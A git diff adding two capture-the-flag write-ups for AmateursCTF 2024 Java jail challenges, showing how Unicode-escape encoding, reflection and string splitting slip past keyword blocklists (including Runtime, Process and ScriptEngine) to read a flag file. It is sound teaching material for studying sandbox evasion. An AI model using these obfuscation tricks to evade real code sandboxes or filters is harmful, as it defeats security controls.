diff --git a/src/content/writeups/amateursctf/2024/jail/javajail1.md b/src/content/writeups/amateursctf/2024/jail/javajail1.md index a880b1a..d77f6a7 100644 --- a/src/content/writeups/amateursctf/2024/jail/javajail1.md +++ b/src/content/writeups/amateursctf/2024/jail/javajail1.md @@ -3,7 +3,43 @@ title: "javajail1" description: "Good luck getting anything to run." points: 309 solves: 88 -author: nobody +author: Jozef Steinhübl +date: April 10 2024 --- -yeh' javajail1.... it was hard lol +## Introduction + +![task](https://raw.githubusercontent.com/GerlachSnezka/amateursctf/main/assets/2024-jail-javajail1.png) + +In this challenge, we had to write a program that reads a `flag.txt` file and prints its content. The main issue is that we can't use `import`, `class`, `Main`, `{`, `}`. + +## Investigation + +Well, `import`, `class` and `Main` are not a big deal, we can just use a direct class name (with package name) and the main method can be in `interface` and doesn't have to be named `main`. The real issue is that we can't use `{` and `}`. That's a bit tricky. We can't write any program without curly braces, right? Well, we can, but it's gonna be a bit weird. + +## Solution + +The java compiler first recognizes Unicode escapes in its input, translating the ASCII characters \u followed by four hexadecimal digits to UTF-8. That means we can write anything and just translate the final program to Unicode escapes. We can use the following code for example: + +```java +import java.io.*; +import java.nio.file.*; + +interface Lmao { // you can use class instead of interface + public static void main(String[] args) throws Exception { + System.out.println(Files.readString(Paths.get("flag.txt"))); + } +} +``` + +Then we can use a website like [dencode](https://dencode.com/string/unicode-escape) to convert the code to Unicode escapes. The final file will look like this: + +``` +\u0069\u006D\u0070\u006F\u0072\u0074\u0020\u006A\u0061\u0076\u0061\u002E\u0069\u006F\u002E\u002A\u003B\u000D\u000A\u0069\u006D\u0070\u006F\u0072\u0074\u0020\u006A\u0061\u0076\u0061\u002E\u006E\u0069\u006F\u002E\u0066\u0069\u006C\u0065\u002E\u002A\u003B\u000D\u000A\u000D\u000A\u0069\u006E\u0074\u0065\u0072\u0066\u0061\u0063\u0065\u0020\u004C\u006D\u0061\u006F\u0020\u007B\u000D\u000A\u0020\u0020\u0070\u0075\u0062\u006C\u0069\u0063\u0020\u0073\u0074\u0061\u0074\u0069\u0063\u0020\u0076\u006F\u0069\u0064\u0020\u006D\u0061\u0069\u006E\u0028\u0053\u0074\u0072\u0069\u006E\u0067\u005B\u005D\u0020\u0061\u0072\u0067\u0073\u0029\u0020\u0074\u0068\u0072\u006F\u0077\u0073\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006F\u006E\u0020\u007B\u000D\u000A\u0020\u0020\u0020\u0020\u0053\u0079\u0073\u0074\u0065\u006D\u002E\u006F\u0075\u0074\u002E\u0070\u0072\u0069\u006E\u0074\u006C\u006E\u0028\u0046\u0069\u006C\u0065\u0073\u002E\u0072\u0065\u0061\u0064\u0053\u0074\u0072\u0069\u006E\u0067\u0028\u0050\u0061\u0074\u0068\u0073\u002E\u0067\u0065\u0074\u0028\u0022\u0066\u006C\u0061\u0067\u002E\u0074\u0078\u0074\u0022\u0029\u0029\u0029\u003B\u000D\u000A\u0020\u0020\u007D\u000D\u000A\u007D +``` + +And that's it! We can now paste the code to the server and get the flag. + +``` +amateursCTF{yeah_this_looks_like_a_good_feature_to_me!} +``` \ No newline at end of file diff --git a/src/content/writeups/amateursctf/2024/jail/javajail2.md b/src/content/writeups/amateursctf/2024/jail/javajail2.md index 8c29588..732afea 100644 --- a/src/content/writeups/amateursctf/2024/jail/javajail2.md +++ b/src/content/writeups/amateursctf/2024/jail/javajail2.md @@ -3,7 +3,66 @@ title: "javajail2" description: "okay sorry here's a real jail." points: 355 solves: 54 -author: nobody +author: Jozef Steinhübl +date: April 10 2024 --- -yeh' javajail2.... it was hard lol +## Introduction + +![task](https://raw.githubusercontent.com/GerlachSnezka/amateursctf/main/assets/2024-jail-javajail2.png) + +In this jail, we can't use `import`, `throws`, `new`, `File`, `Scanner`, `Buffered`, `Process`, `Runtime`, `ScriptEngine`, `Print`, `Stream`, `Field`, `javax`, `flag.txt`, `^`, `|`, `&`, `'`, `\\`, `[]`, `:` but we can use strings and curly braces. That means we're gonna write a normal program instead of using some weird compiler behaviour. + +## Solution + +The easiest way to read a file in modern Java versions is probably by using `java.nio.file.Files` and `java.nio.file.Paths`. + +```java +interface Lmao { // using interface because why not :-D + public static void main(String... args) { + try { + var path = java.nio.file.Paths.get("flag.txt"); + var content = java.nio.file.Files.readString(path); + + System.out.println(content); + } catch (java.lang.Exception e) { + e.printStackTrace(); + } + } +} +``` + +but wait! We can't have any word that contains `File` and `flag.txt`. That means we can't use `java.nio.file.Files`, or can we...? We can, by using our most beloved, reflections! For the `flag.txt` we can just do something like `"fla" + "g.txt"` + +```java +interface Lmao { + public static void main(String... args) { + try { + var path = java.nio.file.Paths.get("fla" + "g.txt"); + + var fsClass = Class.forName("java.nio.file." + "Fil" + "es"); + var readStringMethod = fsClass.getMethod("readString", Class.forName("java.nio.file.Path")); + var content = readStringMethod.invoke(null, path); + + System.out.println(content); + } catch (java.lang.Exception e) { + e.printStackTrace(); + } + } +} +``` + +We can minify this code into one line by the easiest method - putting the code into the browser's search bar and copying the minified code. + +```java +interface Lmao { public static void main(String... args) { try { var path = java.nio.file.Paths.get("fla" + "g.txt"); var fsClass = Class.forName("java.nio.file." + "Fil" + "es"); var readStringMethod = fsClass.getMethod("readString", Class.forName("java.nio.file.Path")); var content = readStringMethod.invoke(null, path); System.out.println(content); } catch (java.lang.Exception e) { e.printStackTrace(); } } } +``` + +And now we can just paste this code into the jail's socket using netcat and it will print the flag. + +``` +amateursCTF{r3flect3d_4cr055_all_th3_fac35} +``` + +> **FunFact** +> Java compiler is a beautiful thing. You can just use [ZWSP](https://en.wikipedia.org/wiki/Zero-width_space) characters to bypass the filter. \ No newline at end of file diff --git a/writeups b/writeups index fb22c62..ccda64c 160000 --- a/writeups +++ b/writeups @@ -1 +1 @@ -Subproject commit fb22c62458f96c2042f0771a152285e87a604cdc +Subproject commit ccda64c9977217f02a780ecd5d1e49a245a477d4